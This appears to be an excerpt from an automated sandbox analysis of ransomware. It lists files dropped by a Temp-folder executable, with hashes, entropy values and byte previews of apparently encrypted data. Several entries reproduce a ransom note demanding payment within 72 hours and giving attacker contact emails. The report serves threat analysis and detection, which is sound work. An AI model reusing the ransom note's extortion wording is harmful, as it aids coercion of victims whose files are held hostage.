                                                                                                                                                                Preview::.{Y.q.......+|..<Q....d.{_.....#.aSu..T.].Iw.W../...k..w.]!..q...!*.. '../....Kv%......8T.......C....e..$.^.Z..G.....,K;........~0........C.N0xH.T.6..AlT.J....1X=.H.a.A.@...N....4...v.A..#....x..F{SD......2}H.]..i\..#.~_.*.D..q...B.V..4.i?...0.. .F....73...[._....VnkX.jzM.....v.aS.)*p;...;}x....C........!ym4...;.....;.wb.YP...5...*.8......J...p.;@w(..K..,.s..G.......&VMp..).@2. .)..O.b..l.h..+...]..%b.*.M...././4..1=;<......x..........o..$.......OM...,\.s....N.M..;....)..[7..Z.i.D.Q....E.b..'..F4Xu../h.....N#..F....Q..S..I.u..H._h-;&!:.Y..R..^.[.zmFw..0....n....s.?5.B..^1o.9\ae/.......$..-Z...:8a(.#...r...S.V..c5..?ys.(.....c]..>.;.wb6......Z.Zh.............G..T.o."...m.|.mtd...7Y~...$B_.f...-................/...'2B..T ....P.....3.u../u.^f.."F-....E...]..i.nn.....t:...c.F...adx#..V.y.J.M....)s'.."....X4zGI}..!\.X..X.8..)...a2Yn._.....Q.........0og..".W.$.?..D._V..%*V..3.H...w..N&N.1.B.Z.......Y.Sz*<..M.. GD..;....&1..m.f...j...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.845126133713717
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:AlxU0RsXScXLvU7wy4BeKuoE1GaxESzPn/5GFxoNY7NkRF7j/pD6TA2:kxXRspoOcl1GaxEkAQKk/Xwd
                                                                                                                                                                MD5:96F365EC6E14232AA9CC28C395A7C9BC
                                                                                                                                                                SHA1:A41867F8597B2ECD846A8C921BD8F36A34EAA3EC
                                                                                                                                                                SHA-256:E2EF93E140EF2E25A9D206DA5D31A20E931E9F849C48BFC8EFED646992AF1FE8
                                                                                                                                                                SHA-512:38297E1D8E8ABB0D0D6467C7D55E11C609A52200B1DAB9671CE15D627A307E1A3DFF75AB3EF0A7BB6E74291BB2AD5162E683995A6D09790E38BD0542AC3C5117
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview::.{Y.q.......+|..<Q....d.{_.....#.aSu..T.].Iw.W../...k..w.]!..q...!*.. '../....Kv%......8T.......C....e..$.^.Z..G.....,K;........~0........C.N0xH.T.6..AlT.J....1X=.H.a.A.@...N....4...v.A..#....x..F{SD......2}H.]..i\..#.~_.*.D..q...B.V..4.i?...0.. .F....73...[._....VnkX.jzM.....v.aS.)*p;...;}x....C........!ym4...;.....;.wb.YP...5...*.8......J...p.;@w(..K..,.s..G.......&VMp..).@2. .)..O.b..l.h..+...]..%b.*.M...././4..1=;<......x..........o..$.......OM...,\.s....N.M..;....)..[7..Z.i.D.Q....E.b..'..F4Xu../h.....N#..F....Q..S..I.u..H._h-;&!:.Y..R..^.[.zmFw..0....n....s.?5.B..^1o.9\ae/.......$..-Z...:8a(.#...r...S.V..c5..?ys.(.....c]..>.;.wb6......Z.Zh.............G..T.o."...m.|.mtd...7Y~...$B_.f...-................/...'2B..T ....P.....3.u../u.^f.."F-....E...]..i.nn.....t:...c.F...adx#..V.y.J.M....)s'.."....X4zGI}..!\.X..X.8..)...a2Yn._.....Q.........0og..".W.$.?..D._V..%*V..3.H...w..N&N.1.B.Z.......Y.Sz*<..M.. GD..;....&1..m.f...j...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.859995305370236
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:kxmxRA8RmG9WEE0pnz5SJjLVdBFgkDkuqKn3Ur51R0muncQ:kQbmG9GWF+dj6FU3Ur51FuncQ
                                                                                                                                                                MD5:A8ECE6C7540729BE446D319A5687BCDE
                                                                                                                                                                SHA1:84F88F087DCE62F3E7B01F436022465684CB649F
                                                                                                                                                                SHA-256:23CF3E03ED887C7C793CEFDA23530238DAC293A329BF818007E4094A5ABEDAE8
                                                                                                                                                                SHA-512:0DE5359D8F5B46FF4430DD9D555F14C15726572AF07530003EA91A4B5CFD8C7600FB8C246C095287FA24468EB35C907F15BE1FCD4E3136F6FCF05B2732BF0652
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:oh..c.....E.*.N....pjY..A...g.^n.....,.u...^.'Ck{\... .ZP..y. .>.pD..hD}.c....(TB]..D...........f..I)..~t.nlWe.....d..{..g5.i.....I...,.q&.r...H..l....![......cx .ni.>...l.+.1.=.%..bQ...L..A+.PR%....K..Q..._&....a....<%....\.a.\.X....!..~.4.EU.V.U.:k...*.:..3....x..W...?.TW....K..0...a<F..B..vz.;...3y..K.&.V<..\zu....$T.Zq..;Z.....(.t.$;..O..c2m..*.+...........e".T.0..o..3..Z.@..<.Y..Mx.............Et.S...=.G2..%]..\R.Fk...A..!..e..E:.PsY..}...Y.E.d../0.. ...h.Q.n...`.q.f..m.....-.;.W..nBj.!......U.x~.....+".....c.fZ.)v.p.U...4A..X...O.N8.wE+h^.eJ...16h..fm7.V.zX.w#"Z3\F.....H.....j. 6.....;...2.....g`...F.cuL.7,.W1..7.?..g...b....n*xA..-.2W4.0..:Up&...G......:U^.....#lI.D..*....G..}TO..V..H...[q/P.....i.Mx.m|G.W.E....&].=..G.#.../.Q'kU.g......1.Q6!kT.E..5Qu..g...OV8.9\..]..ys..d(HA......>7.1.g..u.;.....Q~.:...%&..hmk.....f*..\.....28+...|....0".5.T.ti..j6.;.o.U..)...........To6...|.m).JgLn.H..VZ....&...<.....d(...&\......W......5.B....3n..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.859995305370236
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:kxmxRA8RmG9WEE0pnz5SJjLVdBFgkDkuqKn3Ur51R0muncQ:kQbmG9GWF+dj6FU3Ur51FuncQ
                                                                                                                                                                MD5:A8ECE6C7540729BE446D319A5687BCDE
                                                                                                                                                                SHA1:84F88F087DCE62F3E7B01F436022465684CB649F
                                                                                                                                                                SHA-256:23CF3E03ED887C7C793CEFDA23530238DAC293A329BF818007E4094A5ABEDAE8
                                                                                                                                                                SHA-512:0DE5359D8F5B46FF4430DD9D555F14C15726572AF07530003EA91A4B5CFD8C7600FB8C246C095287FA24468EB35C907F15BE1FCD4E3136F6FCF05B2732BF0652
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:oh..c.....E.*.N....pjY..A...g.^n.....,.u...^.'Ck{\... .ZP..y. .>.pD..hD}.c....(TB]..D...........f..I)..~t.nlWe.....d..{..g5.i.....I...,.q&.r...H..l....![......cx .ni.>...l.+.1.=.%..bQ...L..A+.PR%....K..Q..._&....a....<%....\.a.\.X....!..~.4.EU.V.U.:k...*.:..3....x..W...?.TW....K..0...a<F..B..vz.;...3y..K.&.V<..\zu....$T.Zq..;Z.....(.t.$;..O..c2m..*.+...........e".T.0..o..3..Z.@..<.Y..Mx.............Et.S...=.G2..%]..\R.Fk...A..!..e..E:.PsY..}...Y.E.d../0.. ...h.Q.n...`.q.f..m.....-.;.W..nBj.!......U.x~.....+".....c.fZ.)v.p.U...4A..X...O.N8.wE+h^.eJ...16h..fm7.V.zX.w#"Z3\F.....H.....j. 6.....;...2.....g`...F.cuL.7,.W1..7.?..g...b....n*xA..-.2W4.0..:Up&...G......:U^.....#lI.D..*....G..}TO..V..H...[q/P.....i.Mx.m|G.W.E....&].=..G.#.../.Q'kU.g......1.Q6!kT.E..5Qu..g...OV8.9\..]..ys..d(HA......>7.1.g..u.;.....Q~.:...%&..hmk.....f*..\.....28+...|....0".5.T.ti..j6.;.o.U..)...........To6...|.m).JgLn.H..VZ....&...<.....d(...&\......W......5.B....3n..
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.838472687373819
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:s02nABDsHqPRk8UCeWBIDMabYrNCaU9qM902VhG3UaZY+5JQJXuHI:mAKH8RZ2WOQAI29F902LG3dZdAXwI
                                                                                                                                                                MD5:4763DD0E263C77FE57EE93A7CE296172
                                                                                                                                                                SHA1:ACD0B322B1C12EA0FD905ECD282724C13C5B708B
                                                                                                                                                                SHA-256:5F63C650FD571BCD0573C66AB6E39395059FF9E107006B03B45680D8CDF441FD
                                                                                                                                                                SHA-512:51AA50652A07C63ABD405AE6BD5F7B509D418C35A090E279CC4B92D2967179B81EA5A6BE3392F97C49C6E3848BAE2937634A52289C160F5753117E3AA071E04E
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:.....g....._J.1..C..E...6g:..~F.#z....@...xk......U....z$@... .../.N..p..$....G}..|lM.:_g........J.Gx.v{.ALy.:.%5.......U..d...*.v..$X..c%.`5k.I..I......X......Xp(.q.K.6;.'.5.Z..)....n....%.-......W...$.X..c.).......4..F>6.h.M..x}K.wh..:H...G.$.UlC".}.A.~......:~.'..*.!...o..6.....Z.+mr.\..7.5..o...}..........?.'.}.<..>.T...l.f..\...~...Z.`.q.Be....sLF..&>rV[..n.F"jl...P..._...................#q.."...&.3..|......{O.8......K...PR.%&....."...D..@.BN..<^.>....C9q...o*.'c..?MC....;...T...5d..&.D.....R.!...?7....!Z.&..Z@..............)Q...!N......~.u..":.K.K....In.4...n..f..*.C..V.+D:.K...L..Gc`9.i'L.2..a.....w..{./0....b..~.U.2........B."n.L.......vM...i>....L...Cr...eI.$d.NV2{.h..o..'..S:.1.Ez.1;T....n.'.......$ ..H..y.z_V...e..Lt..........^\t.Zan$.z.9........Z.......4'..a..h.b+.i.:H.."q E,2...[..u_0.m.d........^B...a.F...!......H....3....5....o..........6D.."...Z.X.%^...w...w..k..t.e......-...']!.=?..W.1wp.(..1..-.?Vk.].^.... \\...[...B.[
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.838472687373819
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:s02nABDsHqPRk8UCeWBIDMabYrNCaU9qM902VhG3UaZY+5JQJXuHI:mAKH8RZ2WOQAI29F902LG3dZdAXwI
                                                                                                                                                                MD5:4763DD0E263C77FE57EE93A7CE296172
                                                                                                                                                                SHA1:ACD0B322B1C12EA0FD905ECD282724C13C5B708B
                                                                                                                                                                SHA-256:5F63C650FD571BCD0573C66AB6E39395059FF9E107006B03B45680D8CDF441FD
                                                                                                                                                                SHA-512:51AA50652A07C63ABD405AE6BD5F7B509D418C35A090E279CC4B92D2967179B81EA5A6BE3392F97C49C6E3848BAE2937634A52289C160F5753117E3AA071E04E
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:.....g....._J.1..C..E...6g:..~F.#z....@...xk......U....z$@... .../.N..p..$....G}..|lM.:_g........J.Gx.v{.ALy.:.%5.......U..d...*.v..$X..c%.`5k.I..I......X......Xp(.q.K.6;.'.5.Z..)....n....%.-......W...$.X..c.).......4..F>6.h.M..x}K.wh..:H...G.$.UlC".}.A.~......:~.'..*.!...o..6.....Z.+mr.\..7.5..o...}..........?.'.}.<..>.T...l.f..\...~...Z.`.q.Be....sLF..&>rV[..n.F"jl...P..._...................#q.."...&.3..|......{O.8......K...PR.%&....."...D..@.BN..<^.>....C9q...o*.'c..?MC....;...T...5d..&.D.....R.!...?7....!Z.&..Z@..............)Q...!N......~.u..":.K.K....In.4...n..f..*.C..V.+D:.K...L..Gc`9.i'L.2..a.....w..{./0....b..~.U.2........B."n.L.......vM...i>....L...Cr...eI.$d.NV2{.h..o..'..S:.1.Ez.1;T....n.'.......$ ..H..y.z_V...e..Lt..........^\t.Zan$.z.9........Z.......4'..a..h.b+.i.:H.."q E,2...[..u_0.m.d........^B...a.F...!......H....3....5....o..........6D.."...Z.X.%^...w...w..k..t.e......-...']!.=?..W.1wp.(..1..-.?Vk.].^.... \\...[...B.[
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.849638654710082
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:T/sG7rJORaEevnBJ7pKOazo1YxwjztJjMzSmdbFdqoY2wR8GDCI3:T/sYryaZvB5p2wYxEjMzSmJFdqh3R84/
                                                                                                                                                                MD5:F8DD1C6368936B47C9160E1BE617EAA5
                                                                                                                                                                SHA1:A9B337CB0527308AF1CC96230DEC81DB242CEBA5
                                                                                                                                                                SHA-256:D88D71531182B64E798D1EC03432172E56FD350EBB66AE6AED59D097D20882B7
                                                                                                                                                                SHA-512:871A6F10992F2F6E7E21F1A088814DD8772EFD4F150BF7921C94BA2BD84141B2DA419354A0123B026F2B98B8783CF93F52A38CD2AC36D6F9B76F094300C81324
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...A..@Q.-.e....}rg.d.@."._.y.%R`..&.y...V.:..?.DK..%...*L.s.J..E...k...MZ..m..c.B^1;q#..N..Y.J.~1l..o.....J*....i...A.D.s......,...W..z.~?.....L.....V..u.7?.d.VQ1(..,Q2W....uK.H.......qe.4.x......G..K..gn..j*........Y-/.R9.c...z.2;&..5../..|.....oFo.!.j...Z...X...3..#-.l.|X..*.{U.N..>-...GV.......;&&..y......P....z.h+"],.e....... 9/..i..WbE0G.A.~aR.->.ed..X.0.......(8...e.z....u.e.J.......K..;..D.....I1yO..zc.....b.VE..c.....9.f.b.....+Y_...p........q..#..f..2Y....,%.u.r.M?...f.....:l.y?..Q...FDz%.....W...p.~,{.\z8.~.=.S.y.c.p..P....3r/.K.7.&..F>...\...Jb.q.O.`..%5.s=X.#...v.d..PG....S....`A.S.#..;x......Xm.. ..c.....\E.f.MJ....J....F.,.o.Hv-%..pc..?{@8`jMj...6.2x..?.5.cSGx8.$.Zn.?....S.4...s..e.8....=..~...q.....hg.T...............PZ.q...`..0D@..FLC..5.._r~.,BY6..U.oV,.H..@...t4..-[..h.a..]J..S.#"qW...Z...$......~.....>...q9.&.....J...$.co.3.h.t......l...~.6.b..+.......p;y......|I..[..C.-/.ct....l.E.....Z...jvV.,.I....\Q.......QdDb
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.849638654710082
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:T/sG7rJORaEevnBJ7pKOazo1YxwjztJjMzSmdbFdqoY2wR8GDCI3:T/sYryaZvB5p2wYxEjMzSmJFdqh3R84/
                                                                                                                                                                MD5:F8DD1C6368936B47C9160E1BE617EAA5
                                                                                                                                                                SHA1:A9B337CB0527308AF1CC96230DEC81DB242CEBA5
                                                                                                                                                                SHA-256:D88D71531182B64E798D1EC03432172E56FD350EBB66AE6AED59D097D20882B7
                                                                                                                                                                SHA-512:871A6F10992F2F6E7E21F1A088814DD8772EFD4F150BF7921C94BA2BD84141B2DA419354A0123B026F2B98B8783CF93F52A38CD2AC36D6F9B76F094300C81324
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:...A..@Q.-.e....}rg.d.@."._.y.%R`..&.y...V.:..?.DK..%...*L.s.J..E...k...MZ..m..c.B^1;q#..N..Y.J.~1l..o.....J*....i...A.D.s......,...W..z.~?.....L.....V..u.7?.d.VQ1(..,Q2W....uK.H.......qe.4.x......G..K..gn..j*........Y-/.R9.c...z.2;&..5../..|.....oFo.!.j...Z...X...3..#-.l.|X..*.{U.N..>-...GV.......;&&..y......P....z.h+"],.e....... 9/..i..WbE0G.A.~aR.->.ed..X.0.......(8...e.z....u.e.J.......K..;..D.....I1yO..zc.....b.VE..c.....9.f.b.....+Y_...p........q..#..f..2Y....,%.u.r.M?...f.....:l.y?..Q...FDz%.....W...p.~,{.\z8.~.=.S.y.c.p..P....3r/.K.7.&..F>...\...Jb.q.O.`..%5.s=X.#...v.d..PG....S....`A.S.#..;x......Xm.. ..c.....\E.f.MJ....J....F.,.o.Hv-%..pc..?{@8`jMj...6.2x..?.5.cSGx8.$.Zn.?....S.4...s..e.8....=..~...q.....hg.T...............PZ.q...`..0D@..FLC..5.._r~.,BY6..U.oV,.H..@...t4..-[..h.a..]J..S.#"qW...Z...$......~.....>...q9.&.....J...$.co.3.h.t......l...~.6.b..+.......p;y......|I..[..C.-/.ct....l.E.....Z...jvV.,.I....\Q.......QdDb
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.83692860619253
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:yvnPxKi5EEW2VYlf8rXbMsxadJ03R7106K9Bpy3p9+5uE:ssi5tWiRY6BK66SfqD
                                                                                                                                                                MD5:A463AE3AED77D24051ACA6416DAE0518
                                                                                                                                                                SHA1:08E1E5F66AFD59F98B8E7F3ADCDEB82AE1240C42
                                                                                                                                                                SHA-256:F84C691EC3A57E468D5EA2A2F1C94AF9BCD9621263E17B13EBF9C7B977BEE122
                                                                                                                                                                SHA-512:071EE96E43CDE8BCF8FF7883078121FF137026346AAB17C56582D812BF51428A4FE07B30F1F9043EF01F86D7793282850E32206F963A4A47BB42B3911B5411F3
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..#.j^#:.r......i....u..$%....1n.R.."....vnr.)...u.-"......[7...p..=.Hz.yT.T...YD.~.<...jt...H.@.."}mLJ.(..!!.}..$.^}..........X.J.kF..6..Q.0./O{`ZU..W...%F-.[..Y.q...@2yZ...,....<.U....b&+.({4H.......kOS.D...+=.%.G...00.... ..G..,.`..+.,0..#......4'..>#iMz.w.......{/..l.x[....h.{.Ium.Wf$A..}.:.g.o.Z.H..h.ii.L`H8.{.e....1..`OEYj.U.$.....\g.B.l.".g.I.h..Vl.K..x$...2...?.F,..]z=..eh#`M...d..r..r.@.N.(....r...........a._..M.T.#@.....!.z....O...(k..q2.b..+r9_..^....j...p...Y.x...Y....'.$B..s8....s.....l...f...1VVG.j.%...I]...l....G/.,..f...;....^.6C...Y..%...NIKc....p.3.~.6.e.T.n.{.....h.S...&.F...e.O8A..@J...\v..LW..{|..m.r.{....?Bt.8J%....8.,.i..|.@}.J?....^..p...5.... @..q.....6....F'...<E..Q.A.p?<... ..9i.K.........../....y>.f..q......:3....i..OD.H...q...k....;.........P..`..6..=<........O.......{5.....~0.....o..z.D..`..(.....(........pHf.[.5..Bg"{...o.Uu.........."E.q.'3....#...px..Q.{...Tc.j.@.._.w.{./.$.1.E{F.5.....q.a..'...)...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.83692860619253
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:yvnPxKi5EEW2VYlf8rXbMsxadJ03R7106K9Bpy3p9+5uE:ssi5tWiRY6BK66SfqD
                                                                                                                                                                MD5:A463AE3AED77D24051ACA6416DAE0518
                                                                                                                                                                SHA1:08E1E5F66AFD59F98B8E7F3ADCDEB82AE1240C42
                                                                                                                                                                SHA-256:F84C691EC3A57E468D5EA2A2F1C94AF9BCD9621263E17B13EBF9C7B977BEE122
                                                                                                                                                                SHA-512:071EE96E43CDE8BCF8FF7883078121FF137026346AAB17C56582D812BF51428A4FE07B30F1F9043EF01F86D7793282850E32206F963A4A47BB42B3911B5411F3
                                                                                                                                                                Malicious:false
                                                                                                                                                                Preview:..#.j^#:.r......i....u..$%....1n.R.."....vnr.)...u.-"......[7...p..=.Hz.yT.T...YD.~.<...jt...H.@.."}mLJ.(..!!.}..$.^}..........X.J.kF..6..Q.0./O{`ZU..W...%F-.[..Y.q...@2yZ...,....<.U....b&+.({4H.......kOS.D...+=.%.G...00.... ..G..,.`..+.,0..#......4'..>#iMz.w.......{/..l.x[....h.{.Ium.Wf$A..}.:.g.o.Z.H..h.ii.L`H8.{.e....1..`OEYj.U.$.....\g.B.l.".g.I.h..Vl.K..x$...2...?.F,..]z=..eh#`M...d..r..r.@.N.(....r...........a._..M.T.#@.....!.z....O...(k..q2.b..+r9_..^....j...p...Y.x...Y....'.$B..s8....s.....l...f...1VVG.j.%...I]...l....G/.,..f...;....^.6C...Y..%...NIKc....p.3.~.6.e.T.n.{.....h.S...&.F...e.O8A..@J...\v..LW..{|..m.r.{....?Bt.8J%....8.,.i..|.@}.J?....^..p...5.... @..q.....6....F'...<E..Q.A.p?<... ..9i.K.........../....y>.f..q......:3....i..OD.H...q...k....;.........P..`..6..=<........O.......{5.....~0.....o..z.D..`..(.....(........pHf.[.5..Bg"{...o.Uu.........."E.q.'3....#...px..Q.{...Tc.j.@.._.w.{./.$.1.E{F.5.....q.a..'...)...
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:ASCII text, with very long lines (3354), with CRLF line terminators
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):4135
                                                                                                                                                                Entropy (8bit):4.781717664776668
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:96:cvNlHaKqEi16YvrwRUMu0KPIqPDf/1MN21TObBPRgyALXi:Qn6FEBYDwRUMFYT28hcBJT
                                                                                                                                                                MD5:5215B9D158ED4A96B63EBE503AE380BA
                                                                                                                                                                SHA1:C3DA4583F9A569A321279CDAFB155674807CEB14
                                                                                                                                                                SHA-256:1DDE306FADB7184DA4F5403F8E09DEE29A46E6FA5E4DCF492A2489CACBD2D147
                                                                                                                                                                SHA-512:BE50A734AB7F4760BB1EC263A65F3F82AE91DEA746D728EC886A3DB18A78182311439853A1D34B645CF4FC4F5AF1EDF3BAA6688A8A999C698A47CCE4D276F1D2
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:ATTENTION!....Don't worry, you can return your files! ..All your files like photos, videos and other important documents are encrypted with a strong encryption algorithm and unique key...The only method of recovering files is to purchase a decrypt tool and your key...Do not try to recover your files without a decrypt tool, you may damage them making them impossible to recover....we advise you contact us in less than 72 hours, otherwise there is a possibility that your files will never be returned...We will not wait for your letter for a long time, mail can be abused, we are moving on, hurry up with the decision.....Check your email 'Spam' or 'Junk' folder if you don't get answer within 6 hours.....Contact us..email :edfr789@tutanota.com.. -> edfr789@tutamail.com....ID :B0A10DB3D9F5AF394FBF3022F6D27AF3530779D2B6E3126D331FEDFA22696161EAF607553C240E5DDD0C84001C60192BCE7293D442A4BCFA329BE2B92B45994E134C837691A5BAE960EF558A8854E42605337A7C3F1758BC881A97A86D0B269DAE69DDDC54F954C70700147FC
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8508202522790045
                                                                                                                                                                Encrypted:false
                                                                                                                                                                SSDEEP:24:euRa4hX9vexo9r7IYOYkcgHXy5apQ7b+qp2FL+84KmYo7xK2KKK4o3w:em78yAYvkT32amH2N+84Kc8d4L
                                                                                                                                                                MD5:04EF3B1CAC7BB3DFFC72B2E726E39071
                                                                                                                                                                SHA1:73405B52B039E36101944B89A7A05AE82557CCA6
                                                                                                                                                                SHA-256:04FD1E40DA74BD56710085DE5A52455E12CB7C0547893F2D7AE5E61955CC7955
                                                                                                                                                                SHA-512:F1FC415B0B8F862746F632D9119FCA71825D26EC19EB938775912AD9E7598684688D7038078540EA131DC2AEF044B336C441BEC9D98D429F998C1C306D0BEFFF
                                                                                                                                                                Malicious:true
                                                                                                                                                                Preview:...}|."..M.xt.jO....q.?;..{^C6..LA.w.Mu ...}xp..A]T.M...$<-.L,.o...if.?..q0.c..5...Z,Fl..N...._Cf:[1.(.@c......8.`L..Y..4..?N.(\.s......s......]...^......Mx.T.4.....|w....[k...;[a=.....6..zJ..%.s.Y[..`}.5...b..:eI.Wb..w......GB..OW.....U8O]..g...o...B.X.-...D9..|^\.......K...mhu/..5.^.9u.Z_.m..X..s.W..iq..l.6....l.G...x..X...'...T..l..3_...../...X&..(.B..B.W.F7...k..11......ZY..Bc...x.& !y.1...\C..G.w..J[..qE...........O(...^>g..........f.`....<.>.O...ui..9]...M..=S.C.Q.].....7b7u....^LL.zn'.+D.j.hF...V..*.H..!)..}...1.b.];.)..t...=h....].Z/..8...!.[...H.}.7.&.s..|.......[].]X43.......U......_B..;..2..V=[.L;.M...SS<.$c....i.h.d..W.+L......rJ...O_..f=..Z...{Z....s..&..I.!<...&.5.W..w.0.R2.%...y!.................'D4..A..q.d.36cs.....l@....c6T..Hvs.}Y.Ai.%u....y......m...Wa..z.8B.......9.n..3.N.r.o.G'4..%X*I.N...r........L..."0....sZ.;..A..lwB.....]>....qbG%.....h..|..%.t..;QA.,..S....&....F2.......=.Z.s.0. .._`.3....}\..Z
                                                                                                                                                                Process:C:\Users\user\AppData\Local\Temp\eryy65ty.exe
                                                                                                                                                                File Type:data
                                                                                                                                                                Category:dropped
                                                                                                                                                                Size (bytes):1292
                                                                                                                                                                Entropy (8bit):7.8508202522790045
                                                                                                                                                                Encrypted:false
